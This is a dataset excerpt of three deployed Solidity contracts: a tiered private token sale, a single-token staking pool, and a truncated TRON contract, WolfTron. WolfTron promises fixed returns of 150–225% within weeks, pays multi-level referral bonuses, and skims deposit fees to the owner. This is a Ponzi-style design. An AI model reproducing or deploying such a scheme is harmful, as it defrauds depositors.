hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8f4d9a467be44819e05b4c24c70dc922d9ff24dfa1dff92071a282ceaceff2df
| 15,240 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/dc/dc1a5e8a026f5b08b1abe45f185d2c34ca5aff0c_PrivateSale.sol
| 3,918 | 14,625 |
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.7.6;
contract PrivateSale is Ownable {
using SafeMath for *;
using SafeERC20 for IERC20;
using Address for address payable;
address[] whitelist;
mapping(address => bool) whitelisted;
mapping(address => uint8) public tierOf;
mapping(uint8 => uint256) public minAllocationOfTier;
mapping(uint8 => uint256) public maxAllocationOfTier;
mapping(uint8 => uint256) public totalPurchaseOfTier;
mapping(uint8 => uint256) public hardcapOfTier;
mapping(address => uint256) public purchaseOf;
mapping(address => uint256) public volumeOf;
mapping(address => bool) public withdrawn;
uint256 public startDate;
uint256 public endDate;
address public token;
uint256 public rate; // how many tokens can one buy with 1BNB
event Purchased(address user, uint256 amount, uint256 volume);
event Distributed(address user, uint256 volumer);
modifier inProgress() {
require(block.timestamp >= startDate, "Pool not started yet");
require(block.timestamp < endDate, "Pool ended");
_;
}
modifier isWhitelisted() {
require(tierOf[_msgSender()] >= 1 && tierOf[_msgSender()] <= 3, "Invalid tier");
_;
}
constructor(address token_, uint256 rate_, uint256 startDate_, uint256 endDate_, uint256[3] memory caps) {
token = token_;
rate = rate_;
startDate = startDate_;
endDate = endDate_;
populateCaps(caps);
}
receive() external payable {
if (msg.value >= 0) {
purchase();
}
}
function purchase() public payable inProgress isWhitelisted {
require(msg.value > 0, "Purchase with 0");
uint8 tier = tierOf[_msgSender()];
uint256 minAllocation = minAllocationOfTier[tier];
uint256 maxAllocation = maxAllocationOfTier[tier];
uint256 totalUserPurchase = purchaseOf[_msgSender()].add(msg.value);
require(totalUserPurchase >= minAllocation, "Purchase less than min allocation");
require(totalUserPurchase <= maxAllocation, "Purchase more than max allocation");
uint256 totalTierPurchase = totalPurchaseOfTier[tier];
require(totalTierPurchase.add(msg.value) <= hardcapOfTier[tier], "Hardcap for this tier reached");
purchaseOf[_msgSender()] = totalUserPurchase;
uint256 volume = msg.value.mul(rate).div(1e18);
volumeOf[_msgSender()] = volumeOf[_msgSender()].add(volume);
totalPurchaseOfTier[tier] = totalPurchaseOfTier[tier].add(msg.value);
emit Purchased(_msgSender(), msg.value, volume);
}
function setDate(uint256 startDate_, uint256 endDate_) external onlyOwner {
startDate = startDate_;
endDate = endDate_;
}
function setAllocationForTier(uint8 tier, uint256 minAmount, uint256 maxAmount) external onlyOwner {
require(tier >= 1 && tier <= 3, "Invalid tier");
require(minAmount <= maxAmount, "Min amount should be less than or equal to maxAmount");
minAllocationOfTier[tier] = minAmount;
maxAllocationOfTier[tier] = maxAmount;
}
function addAllocation(address[] memory users, uint8 tier) external onlyOwner {
require(tier >= 1 && tier <= 3, "Invalid tier");
for (uint256 i = 0; i < users.length; i++) {
if (tierOf[users[i]] == 0) {
tierOf[users[i]] = tier;
whitelist.push(users[i]);
}
}
}
function distribute(address user) external onlyOwner {
require(!withdrawn[user], "User has withdrawn their purchase");
require(purchaseOf[user] > 0, "User has not purchased");
withdrawn[user] = true;
IERC20(token).safeTransfer(user, volumeOf[user]);
emit Distributed(user, volumeOf[user]);
}
function distributeAll() external onlyOwner {
for (uint256 i = 0; i < whitelist.length; i++) {
_silentDistribute(whitelist[i]);
}
}
function distributeRange(uint256 start, uint256 end) external onlyOwner {
require (start < end, "Invalid range");
require (end < whitelist.length, "End index should be whitelist length - 1 at most");
for (uint256 i = start; i <= end; i++) {
_silentDistribute(whitelist[i]);
}
}
function _silentDistribute(address user) internal onlyOwner {
if (purchaseOf[user] > 0 && !withdrawn[user]) {
withdrawn[user] = true;
IERC20(token).safeTransfer(user, volumeOf[user]);
emit Distributed(user, volumeOf[user]);
}
}
function withdrawEarnings() public onlyOwner {
// Earnings amount of the owner
uint256 totalEarnings = address(this).balance;
payable(_msgSender()).sendValue(totalEarnings);
}
function recoverTokens(address token_, address to_) public onlyOwner {
IERC20(token_).safeTransfer(to_,
IERC20(token_).balanceOf(address(this)));
}
function allocationFor(address user) public view returns (uint256) {
uint8 tier = tierOf[user];
if (tier < 1 || tier > 3) return 0;
uint256 available = maxAllocationOfTier[tier].sub(purchaseOf[user]);
return available;
}
function getNumberOfWhitelisted() public view returns (uint256) {
return whitelist.length;
}
function isUserWhitelisted(address user) public view returns (bool, uint256) {
return (tierOf[user] > 0, tierOf[user]);
}
function populateCaps(uint256[3] memory caps) private {
hardcapOfTier[1] = caps[0];
hardcapOfTier[2] = caps[1];
hardcapOfTier[3] = caps[2];
}
}
| 326,610 | 100 |
b236116a58fc73f0e067c53603715efce7b94e937c75c65e3c613c4b93da1a33
| 27,432 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/78/78dE7922A002cD82cDA86eCE47Db4B67d128f341_SmartChef.sol
| 4,525 | 17,027 |
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
'SafeBEP20: decreased allowance below zero');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ArbSys {
function arbBlockNumber() external view returns (uint);
}
contract SmartChef is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. SAPRs to distribute per block.
uint256 lastRewardBlock; // Last block number that SAPRs distribution occurs.
uint256 accSAPRPerShare; // Accumulated SAPRs per share, times PRECISION_FACTOR. See below.
}
IERC20 public swaprum;
IERC20 public rewardToken;
uint256 public rewardPerBlock;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (address => UserInfo) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when SAPR mining starts.
uint256 public startBlock;
// The block number when SAPR mining ends.
uint256 public bonusEndBlock;
// limit 100 SAPR
uint256 public limitAmount = 1000000000000000000000;
// The precision factor
uint256 public PRECISION_FACTOR;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
event RefPercentChanged(uint256 currentPercent);
constructor(IERC20 _sapr,
IERC20 _rewardToken,
uint256 _rewardPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock,
uint256 _limitStakeToken) public {
swaprum = _sapr;
rewardToken = _rewardToken;
rewardPerBlock = _rewardPerBlock;
startBlock = _startBlock;
bonusEndBlock = _bonusEndBlock;
limitAmount = _limitStakeToken;
uint256 decimalsRewardToken = uint256(rewardToken.decimals());
require(decimalsRewardToken < 30, "Must be inferior to 30");
PRECISION_FACTOR = uint256(10**(uint256(30).sub(decimalsRewardToken)));
poolInfo.push(PoolInfo({
lpToken: _sapr,
allocPoint: 1000,
lastRewardBlock: startBlock,
accSAPRPerShare: 0
}));
totalAllocPoint = 1000;
}
function setLimitAmount(uint256 _amount) public onlyOwner {
limitAmount = _amount;
}
function remainingLimitAmount(address userAddress) public view returns(uint256) {
if (userInfo[userAddress].amount >= limitAmount){
return 0;
}
return limitAmount.sub(userInfo[userAddress].amount);
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from);
} else if (_from >= bonusEndBlock) {
return 0;
} else {
return bonusEndBlock.sub(_from);
}
}
function pendingReward(address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[_user];
uint256 accSAPRPerShare = pool.accSAPRPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (ArbSys(100).arbBlockNumber() > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, ArbSys(100).arbBlockNumber());
uint256 SAPRReward = multiplier.mul(rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accSAPRPerShare = accSAPRPerShare.add(SAPRReward.mul(PRECISION_FACTOR).div(lpSupply));
}
return user.amount.mul(accSAPRPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt);
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (ArbSys(100).arbBlockNumber() <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = ArbSys(100).arbBlockNumber();
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, ArbSys(100).arbBlockNumber());
uint256 SAPRReward = multiplier.mul(rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pool.accSAPRPerShare = pool.accSAPRPerShare.add(SAPRReward.mul(PRECISION_FACTOR).div(lpSupply));
pool.lastRewardBlock = ArbSys(100).arbBlockNumber();
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function deposit(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[msg.sender];
require(user.amount.add(_amount) <= limitAmount, 'Limit amount');
updatePool(0);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accSAPRPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt);
if(pending > 0) {
rewardToken.safeTransfer(address(msg.sender), pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accSAPRPerShare).div(PRECISION_FACTOR);
emit Deposit(msg.sender, _amount);
}
function withdraw(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(0);
uint256 pending = user.amount.mul(pool.accSAPRPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt);
if(pending > 0) {
rewardToken.safeTransfer(address(msg.sender), pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accSAPRPerShare).div(PRECISION_FACTOR);
emit Withdraw(msg.sender, _amount);
}
function emergencyWithdraw() public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[msg.sender];
uint256 amountToTransfer = user.amount;
user.amount = 0;
user.rewardDebt = 0;
if (amountToTransfer > 0){
pool.lpToken.safeTransfer(address(msg.sender), amountToTransfer);
}
emit EmergencyWithdraw(msg.sender, amountToTransfer);
}
function emergencyRewardWithdraw(uint256 _amount) public onlyOwner {
require(_amount <= rewardToken.balanceOf(address(this)), 'not enough token');
rewardToken.safeTransfer(address(msg.sender), _amount);
}
}
| 31,940 | 101 |
ccd55311e71d5be1cf42d727a1e65adf2d13f71171520ce11088b6bae6e8ced0
| 13,756 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TU/TUBATvRfrX5aKqMkdcxavQ9ab8443Z2s9X_WolfTron.sol
| 3,271 | 11,084 |
//SourceUnit: token.sol
pragma solidity 0.4.25;
contract WolfTron {
using SafeMath for uint256;
struct Tarif {
uint256 life_days;
uint256 percent;
uint256 min_inv;
}
struct Deposit {
uint8 tarif;
uint256 amount;
uint256 totalWithdraw;
uint256 time;
}
struct Player {
address upline;
uint256 dividends;
uint256 direct_bonus;
uint256 match_bonus;
uint256 last_payout;
uint256 total_invested;
uint256 total_withdrawn;
uint256 total_match_bonus;
Deposit[] deposits;
mapping(uint8 => uint256) structure;
}
address public owner;
address public stakingAddress;//?
uint256 public invested;
uint256 public withdrawn;
uint256 public direct_bonus;
uint256 public match_bonus;
uint256 public withdrawFee;
uint256 public releaseTime = 1598104800;//1598104800
uint8[] public ref_bonuses; // 1 => 1%
Tarif[] public tarifs;
mapping(address => Player) public players;
mapping(address => bool) public whiteListed;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event NewDeposit(address indexed addr, uint256 amount, uint8 tarif);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
constructor(address _stakingAddress) public {
owner = msg.sender;
stakingAddress = _stakingAddress;
withdrawFee = 0;
whiteListed[owner] = true;
//days , total return percentage//min invest
tarifs.push(Tarif(45, 225,50000000));
tarifs.push(Tarif(24, 180,100000000));
tarifs.push(Tarif(15, 150,250000000));
ref_bonuses.push(60);
ref_bonuses.push(20);
ref_bonuses.push(10);
ref_bonuses.push(5);
}
function _payout(address _addr) private {
uint256 payout = this.payoutOf(_addr);
if(payout > 0) {
_updateTotalPayout(_addr);
players[_addr].last_payout = uint256(block.timestamp);
players[_addr].dividends += payout;
}
}
function _updateTotalPayout(address _addr) private{
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
player.deposits[i].totalWithdraw += dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = players[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
uint256 bonus = _amount * ref_bonuses[i] / 1000;
players[up].match_bonus += bonus;
players[up].total_match_bonus += bonus;
match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
up = players[up].upline;
}
}
function _setUpline(address _addr, address _upline, uint256 _amount) private {
if(players[_addr].upline == address(0)) {//first time entry
if(players[_upline].deposits.length == 0) {//no deposite from my upline
_upline = owner;
}
else {
players[_addr].direct_bonus += _amount / 200;
direct_bonus += _amount / 200;
}
players[_addr].upline = _upline;
emit Upline(_addr, _upline, _amount / 200);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
players[_upline].structure[i]++;
_upline = players[_upline].upline;
if(_upline == address(0)) break;
}
}
}
function deposit(uint8 _tarif, address _upline) external payable {
require(tarifs[_tarif].life_days > 0, "Tarif not found"); // ??
require(msg.value >= tarifs[_tarif].min_inv, "Less Then the min investment");
require(now >= releaseTime, "not open yet");
Player storage player = players[msg.sender];
require(player.deposits.length < 100, "Max 100 deposits per address");
_setUpline(msg.sender, _upline, msg.value);
player.deposits.push(Deposit({
tarif: _tarif,
amount: msg.value,
totalWithdraw: 0,
time: uint256(block.timestamp)
}));
player.total_invested += msg.value;
invested += msg.value;
_refPayout(msg.sender, msg.value);
owner.transfer(msg.value.mul(1).div(100));
stakingAddress.transfer(msg.value.mul(10).div(100));
emit NewDeposit(msg.sender, msg.value, _tarif);
}
function withdraw() payable external {
require(msg.value >= withdrawFee || whiteListed[msg.sender] == true);
Player storage player = players[msg.sender];
_payout(msg.sender);
require(player.dividends > 0 || player.direct_bonus > 0 || player.match_bonus > 0, "Zero amount");
uint256 amount = player.dividends + player.direct_bonus + player.match_bonus;
player.dividends = 0;
player.direct_bonus = 0;
player.match_bonus = 0;
player.total_withdrawn += amount;
withdrawn += amount;
msg.sender.transfer(amount);
emit Withdraw(msg.sender, amount);
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value += dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
return value;
}
function setWhitelist(address _addr) public {
require(msg.sender == owner,"unauthorized call");
whiteListed[_addr] = true;
}
function removeWhitelist(address _addr) public {
require(msg.sender == owner,"unauthorized call");
whiteListed[_addr] = false;
}
function setWithdrawFee(uint256 newFee) public {
require(msg.sender == owner,"unauthorized call");
withdrawFee = newFee;
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_bonus, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[3] memory structure) {
